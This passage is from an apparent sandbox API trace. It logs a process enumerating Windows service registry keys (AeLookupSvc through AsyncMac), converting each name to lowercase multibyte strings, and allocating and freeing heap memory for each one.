cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.379] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0256.379] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.379] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.380] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0256.380] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.381] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.381] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.382] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.382] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0256.382] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.382] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.383] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.383] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.383] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.383] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f19b8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0256.384] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.384] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.384] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0256.385] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 